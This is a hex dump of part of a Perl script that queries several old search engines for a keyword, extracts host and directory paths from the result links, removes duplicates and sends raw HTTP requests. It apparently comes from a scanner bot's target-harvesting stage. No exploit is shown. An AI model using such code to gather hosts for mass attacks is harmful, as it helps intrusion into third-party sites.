61824:	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	@lst,@grep); }}} return @lst;
61856:	0A	7D	0D	0A	0D	0A	23	23	23	23	23	0D	0A	23	20	53	55	42	53	20	46	69	72	65	42	61	6C	6C	0D	0A	23	23	} ##### # SUBS FireBall ##
61888:	23	23	23	0D	0A	73	75	62	20	66	69	72	65	62	61	6C	6C	28	29	7B	0D	0A	6D	79	20	24	6B	65	79	3D	24	5F	### sub fireball(){ my $key=$_
61920:	5B	30	5D	3B	0D	0A	6D	79	20	24	69	6E	69	63	69	6F	3D	31	3B	0D	0A	6D	79	20	24	70	61	67	69	6E	61	3D	[ ]; my $inicio=1; my $pagina=
61952:	32	30	30	3B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	61	76	3D	30	3B	0D	0A	77	68	69	6C	65	2 ; my @lst; my $av= ; while
61984:	28	24	69	6E	69	63	69	6F	20	3C	3D	20	24	70	61	67	69	6E	61	29	7B	0D	0A	6D	79	20	24	66	69	72	65	62	($inicio <= $pagina){ my $fireb
62016:	61	6C	6C	3D	22	68	74	74	70	3A	2F	2F	73	75	63	68	65	2E	66	69	72	65	62	61	6C	6C	2E	64	65	2F	63	67	all="http://suche.fireball.de/cg
62048:	69	2D	62	69	6E	2F	70	75	72	73	75	69	74	3F	70	61	67	3D	24	61	76	26	71	75	65	72	79	3D	22	2E	6B	65	i-bin/pursuit?pag=$av&query=".ke
62080:	79	28	24	6B	65	79	29	2E	22	26	63	61	74	3D	66	62	5F	6C	6F	63	26	69	64	78	3D	61	6C	6C	26	65	6E	63	y($key)."&cat=fb_loc&idx=all&enc
62112:	3D	75	74	66	2D	38	22	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	66	69	72	65	62	61	6C	=utf-8"; my $Res=query($firebal
62144:	6C	29	3B	0D	0A	77	68	69	6C	65	20	28	24	52	65	73	3D	7E	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	l); while ($Res=~ m/<a href=\"?
62176:	68	74	74	70	3A	5C	2F	5C	2F	28	2E	2B	3F	29	5C	2F	2F	67	20	29	7B	0D	0A	69	66	20	28	24	31	20	21	7E	http:\/\/(.+?)\//g ){ if ($1 !~
62208:	20	2F	6D	73	6E	7C	6C	69	76	65	7C	67	6F	6F	67	6C	65	7C	79	61	68	6F	6F	2F	29	7B	0D	0A	6D	79	20	24	/msn\|live\|google\|yahoo/){ my $
62240:	6B	3D	22	24	31	2F	22	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	k="$1/"; my @grep=links($k); p
62272:	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	0D	0A	24	61	76	3D	24	61	76	2B	31	30	ush(@lst,@grep); }} $av=$av+1
62304:	3B	0D	0A	24	69	6E	69	63	69	6F	2B	2B	3B	0D	0A	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	; $inicio++; } return @lst;
62336:	7D	0D	0A	23	23	23	23	23	0D	0A	23	20	53	55	42	53	20	55	4F	4C	0D	0A	23	23	23	23	23	0D	0A	73	75	62	} ##### # SUBS UOL ##### sub
62368:	20	75	6F	6C	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	uol(){ my @lst; my $key = $_[
62400:	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	31	3B	24	62	3C	3D	31	30	30	30	3B	24	62	2B	3D	31	30	29	7B	0D	]; for($b=1;$b<=1 ;$b+=1 ){
62432:	0A	6D	79	20	24	55	6F	4C	3D	28	22	68	74	74	70	3A	2F	2F	62	75	73	63	61	2E	75	6F	6C	2E	63	6F	6D	2E	my $UoL=("http://busca.uol.com.
62464:	62	72	2F	77	77	77	2F	69	6E	64	65	78	2E	68	74	6D	6C	3F	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	br/www/index.html?q=".key($key).
62496:	22	26	73	74	61	72	74	3D	22	2E	24	69	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	55	"&start=".$i); my $Res=query($U
62528:	6F	4C	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	oL); while($Res =~ m/<a href=\"
62560:	68	74	74	70	3A	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2A	29	2F	67	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	http:\/\/([^>\"]*)/g){ my $k=$1
62592:	3B	0D	0A	69	66	28	24	6B	21	7E	2F	62	75	73	63	61	7C	75	6F	6C	7C	79	61	68	6F	6F	2F	29	7B	0D	0A	6D	; if($k!~/busca\|uol\|yahoo/){ m
62624:	79	20	24	6B	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	y $k=$1; my @grep=links($k); p
62656:	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	ush(@lst,@grep); }}} return @l
62688:	73	74	3B	0D	0A	7D	0D	0A	0D	0A	23	23	23	23	23	0D	0A	23	20	41	6C	74	61	76	69	73	74	61	0D	0A	23	23	st; } ##### # Altavista ##
62720:	23	23	23	0D	0A	73	75	62	20	61	6C	74	61	76	69	73	74	61	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	### sub altavista(){ my @lst;
62752:	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	31	3B	24	62	3C	3D	my $key = $_[ ]; for($b=1;$b<=
62784:	31	30	30	30	3B	24	62	2B	3D	31	30	29	7B	0D	0A	6D	79	20	24	41	6C	54	3D	28	22	68	74	74	70	3A	2F	2F	1 ;$b+=1 ){ my $AlT=("http://
62816:	69	74	2E	61	6C	74	61	76	69	73	74	61	2E	63	6F	6D	2F	77	65	62	2F	72	65	73	75	6C	74	73	3F	69	74	61	it.altavista.com/web/results?ita
62848:	67	3D	6F	64	79	26	6B	67	73	3D	30	26	6B	6C	73	3D	30	26	64	69	73	3D	31	26	71	3D	22	2E	6B	65	79	28	g=ody&kgs= &kls= &dis=1&q=".key(
62880:	24	6B	65	79	29	2E	22	26	73	74	71	3D	22	2E	24	62	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	$key)."&stq=".$b); my $Res=quer
62912:	79	28	24	41	6C	54	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	3D	7E	6D	2F	3C	73	70	61	6E	20	63	6C	y($AlT); while($Res=~m/<span cl
62944:	61	73	73	3D	6E	67	72	6E	3E	28	2E	2B	3F	29	5C	2F	2F	67	29	7B	0D	0A	69	66	28	24	31	20	21	7E	20	2F	ass=ngrn>(.+?)\//g){ if($1 !~ /
62976:	61	6C	74	61	76	69	73	74	61	2F	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	3B	0D	0A	24	6B	3D	7E	73	2F	3C	altavista/){ my $k=$1; $k=~s/<
63008:	2F	2F	67	3B	0D	0A	24	6B	3D	7E	73	2F	20	2F	2F	67	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	//g; $k=~s/ //g; my @grep=link
63040:	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	s($k); push(@lst,@grep); }}}
63072:	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	61	6C	74	61	76	69	73	74	61	return @lst; } sub altavista
63104:	64	65	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	de(){ my @lst; my $key = $_[ ]
63136:	3B	0D	0A	66	6F	72	28	24	62	3D	31	3B	24	62	3C	3D	31	30	30	30	3B	24	62	2B	3D	31	30	29	7B	0D	0A	6D	; for($b=1;$b<=1 ;$b+=1 ){ m
63168:	79	20	24	41	6C	54	3D	28	22	68	74	74	70	3A	2F	2F	64	65	2E	61	6C	74	61	76	69	73	74	61	2E	63	6F	6D	y $AlT=("http://de.altavista.com
63200:	2F	77	65	62	2F	72	65	73	75	6C	74	73	3F	69	74	61	67	3D	6F	64	79	26	6B	67	73	3D	30	26	6B	6C	73	3D	/web/results?itag=ody&kgs= &kls=
63232:	30	26	64	69	73	3D	31	26	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	73	74	71	3D	22	2E	24	62	&dis=1&q=".key($key)."&stq=".$b
63264:	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	41	6C	54	29	3B	0D	0A	77	68	69	6C	65	28	); my $Res=query($AlT); while(
63296:	24	52	65	73	3D	7E	6D	2F	3C	73	70	61	6E	20	63	6C	61	73	73	3D	6E	67	72	6E	3E	28	2E	2B	3F	29	5C	2F	$Res=~m/<span class=ngrn>(.+?)\/
63328:	2F	67	29	7B	0D	0A	69	66	28	24	31	20	21	7E	20	2F	61	6C	74	61	76	69	73	74	61	2F	29	7B	0D	0A	6D	79	/g){ if($1 !~ /altavista/){ my
63360:	20	24	6B	3D	24	31	3B	0D	0A	24	6B	3D	7E	73	2F	3C	2F	2F	67	3B	0D	0A	24	6B	3D	7E	73	2F	20	2F	2F	67	$k=$1; $k=~s/<//g; $k=~s/ //g
63392:	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	; my @grep=links($k); push(@ls
63424:	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	t,@grep); }}} return @lst; }
63456:	0A	0D	0A	73	75	62	20	61	6C	74	61	76	69	73	74	61	75	73	28	29	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	sub altavistaus(){ my @lst;
63488:	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	31	3B	24	62	3C	3D	my $key = $_[ ]; for($b=1;$b<=
63520:	31	30	30	30	3B	24	62	2B	3D	31	30	29	7B	0D	0A	6D	79	20	24	41	6C	54	3D	28	22	68	74	74	70	3A	2F	2F	1 ;$b+=1 ){ my $AlT=("http://
63552:	75	73	2E	61	6C	74	61	76	69	73	74	61	2E	63	6F	6D	2F	77	65	62	2F	72	65	73	75	6C	74	73	3F	69	74	61	us.altavista.com/web/results?ita
63584:	67	3D	6F	64	79	26	6B	67	73	3D	30	26	6B	6C	73	3D	30	26	64	69	73	3D	31	26	71	3D	22	2E	6B	65	79	28	g=ody&kgs= &kls= &dis=1&q=".key(
63616:	24	6B	65	79	29	2E	22	26	73	74	71	3D	22	2E	24	62	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	$key)."&stq=".$b); my $Res=quer
63648:	79	28	24	41	6C	54	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	3D	7E	6D	2F	3C	73	70	61	6E	20	63	6C	y($AlT); while($Res=~m/<span cl
63680:	61	73	73	3D	6E	67	72	6E	3E	28	2E	2B	3F	29	5C	2F	2F	67	29	7B	0D	0A	69	66	28	24	31	20	21	7E	20	2F	ass=ngrn>(.+?)\//g){ if($1 !~ /
63712:	61	6C	74	61	76	69	73	74	61	2F	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	3B	0D	0A	24	6B	3D	7E	73	2F	3C	altavista/){ my $k=$1; $k=~s/<
63744:	2F	2F	67	3B	0D	0A	24	6B	3D	7E	73	2F	20	2F	2F	67	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	//g; $k=~s/ //g; my @grep=link
63776:	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	s($k); push(@lst,@grep); }}}
63808:	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	23	23	23	23	23	0D	0A	23	20	48	6F	74	42	return @lst; } ##### # HotB
63840:	6F	74	0D	0A	23	23	23	23	23	0D	0A	73	75	62	20	68	6F	74	62	6F	74	28	29	7B	0D	0A	6D	79	20	40	6C	73	ot ##### sub hotbot(){ my @ls
63872:	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	62	3D	30	3B	24	t; my $key = $_[ ]; for($b= ;$
63904:	62	3C	3D	31	30	30	30	3B	24	62	2B	3D	31	30	30	29	7B	0D	0A	6D	79	20	24	68	6F	74	3D	28	22	68	74	74	b<=1 ;$b+=1 ){ my $hot=("htt
63936:	70	3A	2F	2F	73	65	61	72	63	68	2E	68	6F	74	62	6F	74	2E	64	65	2F	63	67	69	2D	62	69	6E	2F	70	75	72	p://search.hotbot.de/cgi-bin/pur
63968:	73	75	69	74	3F	70	61	67	3D	24	61	76	26	71	75	65	72	79	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	suit?pag=$av&query=".key($key)."
64000:	26	63	61	74	3D	68	62	5F	6C	6F	63	26	65	6E	63	3D	75	74	66	2D	38	22	2E	24	62	29	3B	0D	0A	6D	79	20	&cat=hb_loc&enc=utf-8".$b); my
64032:	24	52	65	73	3D	71	75	65	72	79	28	24	68	6F	74	29	3B	0D	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	$Res=query($hot); while($Res =~
64064:	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	74	70	3A	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2A	29	m/<a href=\"?http:\/\/([^>\"]*)
64096:	5C	2F	2F	67	29	7B	0D	0A	69	66	20	28	24	31	20	21	7E	20	2F	6D	73	6E	7C	6C	69	76	65	7C	67	6F	6F	67	\//g){ if ($1 !~ /msn\|live\|goog
64128:	6C	65	7C	79	61	68	6F	6F	2F	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	65	70	le\|yahoo/){ my $k=$1; my @grep
64160:	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	=links($k); push(@lst,@grep);
64192:	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	0D	0A	23	23	23	23	23	0D	}}} return @lst; } #####
64224:	0A	23	20	4D	61	6D	6D	61	0D	0A	23	23	23	23	23	0D	0A	73	75	62	20	6D	61	6D	6D	61	28	29	7B	0D	0A	6D	# Mamma ##### sub mamma(){ m
64256:	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	66	6F	72	28	24	y @lst; my $key = $_[ ]; for($
64288:	62	3D	30	3B	24	62	3C	3D	31	30	30	30	3B	24	62	2B	3D	31	30	30	29	7B	0D	0A	6D	79	20	24	6D	61	6D	3D	b= ;$b<=1 ;$b+=1 ){ my $mam=
64320:	28	22	68	74	74	70	3A	2F	2F	77	77	77	2E	6D	61	6D	6D	61	2E	63	6F	6D	2F	4D	61	6D	6D	61	3F	75	74	66	("http://www.mamma.com/Mamma?utf
64352:	6F	75	74	3D	24	61	76	26	71	74	79	70	65	3D	30	26	71	75	65	72	79	3D	22	2E	6B	65	79	28	24	6B	65	79	out=$av&qtype= &query=".key($key
64384:	29	2E	22	22	2E	24	62	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	6D	61	6D	29	3B	0D	)."".$b); my $Res=query($mam);
64416:	0A	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	74	70	while($Res =~ m/<a href=\"?http
64448:	3A	5C	2F	5C	2F	28	5B	5E	3E	5C	22	5D	2A	29	5C	2F	2F	67	29	7B	0D	0A	69	66	20	28	24	31	20	21	7E	20	:\/\/([^>\"]*)\//g){ if ($1 !~
64480:	2F	6D	73	6E	7C	6C	69	76	65	7C	67	6F	6F	67	6C	65	7C	79	61	68	6F	6F	2F	29	7B	0D	0A	6D	79	20	24	6B	/msn\|live\|google\|yahoo/){ my $k
64512:	3D	24	31	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	6B	29	3B	0D	0A	70	75	73	68	28	=$1; my @grep=links($k); push(
64544:	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	7D	0D	0A	72	65	74	75	72	6E	20	40	6C	73	74	3B	0D	@lst,@grep); }}} return @lst;
64576:	0A	7D	0D	0A	0D	0A	23	23	23	23	23	0D	0A	23	20	4D	6F	7A	42	6F	74	0D	0A	23	23	23	23	23	0D	0A	73	75	} ##### # MozBot ##### su
64608:	62	20	6D	6F	7A	62	6F	74	28	29	0D	0A	7B	0D	0A	6D	79	20	40	6C	73	74	3B	0D	0A	6D	79	20	24	6B	65	79	b mozbot() { my @lst; my $key
64640:	3D	24	5F	5B	30	5D	3B	0D	0A	6D	79	20	24	69	3D	30	3B	0D	0A	6D	79	20	24	70	67	3D	30	3B	0D	0A	66	6F	=$_[ ]; my $i= ; my $pg= ; fo
64672:	72	28	24	69	3D	30	3B	20	24	69	3C	3D	31	30	30	3B	20	24	69	2B	3D	31	29	7B	0D	0A	6D	79	20	24	6D	6F	r($i= ; $i<=1 ; $i+=1){ my $mo
64704:	7A	62	6F	74	3D	28	22	68	74	74	70	3A	2F	2F	77	77	77	2E	6D	6F	7A	62	6F	74	2E	66	72	2F	73	65	61	72	zbot=("http://www.mozbot.fr/sear
64736:	63	68	3F	71	3D	22	2E	6B	65	79	28	24	6B	65	79	29	2E	22	26	73	74	3D	69	6E	74	26	70	61	67	65	3D	22	ch?q=".key($key)."&st=int&page="
64768:	2E	24	69	29	3B	0D	0A	6D	79	20	24	52	65	73	3D	71	75	65	72	79	28	24	6D	6F	7A	62	6F	74	29	3B	0D	0A	.$i); my $Res=query($mozbot);
64800:	77	68	69	6C	65	28	24	52	65	73	20	3D	7E	20	6D	2F	3C	61	20	68	72	65	66	3D	5C	22	3F	68	74	74	70	3A	while($Res =~ m/<a href=\"?http:
64832:	5C	2F	5C	2F	28	2E	2B	3F	29	5C	22	20	74	61	72	67	65	74	2F	67	29	7B	0D	0A	6D	79	20	24	6B	3D	24	31	\/\/(.+?)\" target/g){ my $k=$1
64864:	3B	0D	0A	24	6B	3D	7E	73	2F	20	2F	2F	67	3B	0D	0A	6D	79	20	40	67	72	65	70	3D	6C	69	6E	6B	73	28	24	; $k=~s/ //g; my @grep=links($
64896:	6B	29	3B	0D	0A	70	75	73	68	28	40	6C	73	74	2C	40	67	72	65	70	29	3B	0D	0A	7D	7D	0D	0A	72	65	74	75	k); push(@lst,@grep); }} retu
64928:	72	6E	20	40	6C	73	74	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6C	69	6E	6B	73	28	29	0D	0A	7B	0D	0A	6D	rn @lst; } sub links() { m
64960:	79	20	40	6C	3B	0D	0A	6D	79	20	24	6C	69	6E	6B	3D	24	5F	5B	30	5D	3B	0D	0A	6D	79	20	24	68	6F	73	74	y @l; my $link=$_[ ]; my $host
64992:	3D	24	5F	5B	30	5D	3B	0D	0A	6D	79	20	24	68	64	69	72	3D	24	5F	5B	30	5D	3B	0D	0A	24	68	64	69	72	3D	=$_[ ]; my $hdir=$_[ ]; $hdir=
65024:	7E	73	2F	28	2E	2A	29	5C	2F	5B	5E	5C	2F	5D	2A	24	2F	5C	31	2F	3B	0D	0A	24	68	6F	73	74	3D	7E	73	2F	~s/(.)\/[^\/]$/\1/; $host=~s/
65056:	28	5B	2D	61	2D	7A	41	2D	5A	30	2D	39	5C	2E	5D	2B	29	5C	2F	2E	2A	2F	24	31	2F	3B	0D	0A	24	68	6F	73	([-a-zA-Z -9\.]+)\/.*/$1/; $hos
65088:	74	2E	3D	22	2F	22	3B	0D	0A	24	6C	69	6E	6B	2E	3D	22	2F	22	3B	0D	0A	24	68	64	69	72	2E	3D	22	2F	22	t.="/"; $link.="/"; $hdir.="/"
65120:	3B	0D	0A	24	68	6F	73	74	3D	7E	73	2F	5C	2F	5C	2F	2F	5C	2F	2F	67	3B	0D	0A	24	68	64	69	72	3D	7E	73	; $host=~s/\/\//\//g; $hdir=~s
65152:	2F	5C	2F	5C	2F	2F	5C	2F	2F	67	3B	0D	0A	24	6C	69	6E	6B	3D	7E	73	2F	5C	2F	5C	2F	2F	5C	2F	2F	67	3B	/\/\//\//g; $link=~s/\/\//\//g;
65184:	0D	0A	70	75	73	68	28	40	6C	2C	24	6C	69	6E	6B	2C	24	68	6F	73	74	2C	24	68	64	69	72	29	3B	0D	0A	72	push(@l,$link,$host,$hdir); r
65216:	65	74	75	72	6E	20	40	6C	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	67	65	74	68	73	28	29	7B	0D	0A	6D	79	eturn @l; } sub geths(){ my
65248:	20	24	68	6F	73	74	3D	24	5F	5B	30	5D	3B	0D	0A	24	68	6F	73	74	3D	7E	73	2F	28	5B	2D	61	2D	7A	41	2D	$host=$_[ ]; $host=~s/([-a-zA-
65280:	5A	30	2D	39	5C	2E	5D	2B	29	5C	2F	2E	2A	2F	24	31	2F	3B	0D	0A	72	65	74	75	72	6E	20	24	68	6F	73	74	Z -9\.]+)\/.*/$1/; return $host
65312:	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	6B	65	79	28	29	7B	0D	0A	6D	79	20	24	63	68	69	61	76	65	3D	24	; } sub key(){ my $chiave=$
65344:	5F	5B	30	5D	3B	0D	0A	24	63	68	69	61	76	65	20	3D	7E	20	73	2F	20	2F	5C	2B	2F	67	3B	0D	0A	24	63	68	_[ ]; $chiave =~ s/ /\+/g; $ch
65376:	69	61	76	65	20	3D	7E	20	73	2F	3A	2F	5C	25	33	41	2F	67	3B	0D	0A	24	63	68	69	61	76	65	20	3D	7E	20	iave =~ s/:/\%3A/g; $chiave =~
65408:	73	2F	5C	2F	2F	5C	25	32	46	2F	67	3B	0D	0A	24	63	68	69	61	76	65	20	3D	7E	20	73	2F	26	2F	5C	25	32	s/\//\%2F/g; $chiave =~ s/&/\%2
65440:	36	2F	67	3B	0D	0A	24	63	68	69	61	76	65	20	3D	7E	20	73	2F	5C	22	2F	5C	25	32	32	2F	67	3B	0D	0A	24	6/g; $chiave =~ s/\"/\%22/g; $
65472:	63	68	69	61	76	65	20	3D	7E	20	73	2F	2C	2F	5C	25	32	43	2F	67	3B	0D	0A	24	63	68	69	61	76	65	20	3D	chiave =~ s/,/\%2C/g; $chiave =
65504:	7E	20	73	2F	5C	5C	2F	5C	25	35	43	2F	67	3B	0D	0A	72	65	74	75	72	6E	20	24	63	68	69	61	76	65	3B	0D	~ s/\\/\%5C/g; return $chiave;
65536:	0A	7D	0D	0A	0D	0A	73	75	62	20	71	75	65	72	79	28	24	29	7B	0D	0A	6D	79	20	24	75	72	6C	3D	24	5F	5B	} sub query($){ my $url=$_[
65568:	30	5D	3B	0D	0A	24	75	72	6C	3D	7E	73	2F	68	74	74	70	3A	5C	2F	5C	2F	2F	2F	3B	0D	0A	6D	79	20	24	68	]; $url=~s/http:\/\///; my $h
65600:	6F	73	74	3D	24	75	72	6C	3B	0D	0A	6D	79	20	24	71	75	65	72	79	3D	24	75	72	6C	3B	0D	0A	6D	79	20	24	ost=$url; my $query=$url; my $
65632:	70	61	67	65	3D	22	22	3B	0D	0A	24	68	6F	73	74	3D	7E	73	2F	68	72	65	66	3D	5C	22	3F	68	74	74	70	3A	page=""; $host=~s/href=\"?http:
65664:	5C	2F	5C	2F	2F	2F	3B	0D	0A	24	68	6F	73	74	3D	7E	73	2F	28	5B	2D	61	2D	7A	41	2D	5A	30	2D	39	5C	2E	\/\///; $host=~s/([-a-zA-Z -9\.
65696:	5D	2B	29	5C	2F	2E	2A	2F	24	31	2F	3B	0D	0A	24	71	75	65	72	79	3D	7E	73	2F	24	68	6F	73	74	2F	2F	3B	]+)\/.*/$1/; $query=~s/$host//;
65728:	0D	0A	69	66	20	28	24	71	75	65	72	79	20	65	71	20	22	22	29	20	7B	24	71	75	65	72	79	3D	22	2F	22	3B	if ($query eq "") {$query="/";
65760:	7D	3B	0D	0A	65	76	61	6C	20	7B	0D	0A	6D	79	20	24	73	6F	63	6B	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	}; eval { my $sock = IO::Socke
65792:	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	28	50	65	65	72	41	64	64	72	3D	3E	22	24	68	6F	73	74	22	2C	50	t::INET->new(PeerAddr=>"$host",P
65824:	65	65	72	50	6F	72	74	3D	3E	22	38	30	22	2C	50	72	6F	74	6F	3D	3E	22	74	63	70	22	29	20	6F	72	20	72	eerPort=>"8 ",Proto=>"tcp") or r
65856:	65	74	75	72	6E	3B	0D	0A	70	72	69	6E	74	20	24	73	6F	63	6B	20	22	47	45	54	20	24	71	75	65	72	79	20	eturn; print $sock "GET $query
65888:	48	54	54	50	2F	31	2E	30	5C	72	5C	6E	48	6F	73	74	3A	20	24	68	6F	73	74	5C	72	5C	6E	41	63	63	65	70	HTTP/1. \r\nHost: $host\r\nAccep
65920:	74	3A	20	2A	2F	2A	5C	72	5C	6E	55	73	65	72	2D	41	67	65	6E	74	3A	20	4D	6F	7A	69	6C	6C	61	2F	35	2E	t: /\r\nUser-Agent: Mozilla/5.
65952:	30	5C	72	5C	6E	5C	72	5C	6E	22	3B	0D	0A	6D	79	20	40	72	20	3D	20	3C	24	73	6F	63	6B	3E	3B	0D	0A	24	\r\n\r\n"; my @r = <$sock>; $
65984:	70	61	67	65	3D	22	40	72	22	3B	0D	0A	63	6C	6F	73	65	28	24	73	6F	63	6B	29	3B	0D	0A	7D	3B	0D	0A	72	page="@r"; close($sock); }; r
66016:	65	74	75	72	6E	20	24	70	61	67	65	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	75	6E	69	63	69	7B	0D	0A	6D	eturn $page; } sub unici{ m
66048:	79	20	40	75	6E	69	63	69	20	3D	20	28	29	3B	0D	0A	6D	79	20	25	76	69	73	74	69	20	3D	20	28	29	3B	0D	y @unici = (); my %visti = ();
66080:	0A	66	6F	72	65	61	63	68	20	6D	79	20	24	65	6C	65	6D	65	6E	74	6F	20	28	20	40	5F	20	29	0D	0A	7B	0D	foreach my $elemento ( @_ ) {
66112:	0A	6E	65	78	74	20	69	66	20	24	76	69	73	74	69	7B	20	24	65	6C	65	6D	65	6E	74	6F	20	7D	2B	2B	3B	0D	next if $visti{ $elemento }++;
66144:	0A	70	75	73	68	20	40	75	6E	69	63	69	2C	20	24	65	6C	65	6D	65	6E	74	6F	3B	0D	0A	7D	20	20	20	0D	0A	push @unici, $elemento; }
66176:	72	65	74	75	72	6E	20	40	75	6E	69	63	69	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	68	74	74	70	5F	71	75	return @unici; } sub http_qu
66208:	65	72	79	28	24	29	7B	0D	0A	6D	79	20	28	24	75	72	6C	29	20	3D	20	40	5F	3B	0D	0A	6D	79	20	24	68	6F	ery($){ my ($url) = @_; my $ho
66240:	73	74	3D	24	75	72	6C	3B	0D	0A	6D	79	20	24	71	75	65	72	79	3D	24	75	72	6C	3B	0D	0A	6D	79	20	24	70	st=$url; my $query=$url; my $p
66272:	61	67	65	3D	22	22	3B	0D	0A	24	68	6F	73	74	20	3D	7E	20	73	2F	68	72	65	66	3D	5C	22	3F	68	74	74	70	age=""; $host =~ s/href=\"?http
66304:	3A	5C	2F	5C	2F	2F	2F	3B	0D	0A	24	68	6F	73	74	20	3D	7E	20	73	2F	28	5B	2D	61	2D	7A	41	2D	5A	30	2D	:\/\///; $host =~ s/([-a-zA-Z -
66336:	39	5C	2E	5D	2B	29	5C	2F	2E	2A	2F	24	31	2F	3B	0D	0A	24	71	75	65	72	79	20	3D	7E	73	2F	24	68	6F	73	9\.]+)\/.*/$1/; $query =~s/$hos
66368:	74	2F	2F	3B	0D	0A	69	66	20	28	24	71	75	65	72	79	20	65	71	20	22	22	29	20	7B	24	71	75	65	72	79	3D	t//; if ($query eq "") {$query=
66400:	22	2F	22	3B	7D	3B	0D	0A	65	76	61	6C	20	7B	0D	0A	6C	6F	63	61	6C	20	24	53	49	47	7B	41	4C	52	4D	7D	"/";}; eval { local $SIG{ALRM}
66432:	20	3D	20	73	75	62	20	7B	20	64	69	65	20	22	31	22	3B	7D	3B	0D	0A	61	6C	61	72	6D	20	31	30	3B	0D	0A	= sub { die "1";}; alarm 1 ;
66464:	6D	79	20	24	73	6F	63	6B	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	my $sock = IO::Socket::INET->new
66496:	28	50	65	65	72	41	64	64	72	3D	3E	22	24	68	6F	73	74	22	2C	50	65	65	72	50	6F	72	74	3D	3E	22	38	30	(PeerAddr=>"$host",PeerPort=>"8
66528:	22	2C	50	72	6F	74	6F	3D	3E	22	74	63	70	22	29	20	6F	72	20	72	65	74	75	72	6E	3B	0D	0A	70	72	69	6E	",Proto=>"tcp") or return; prin
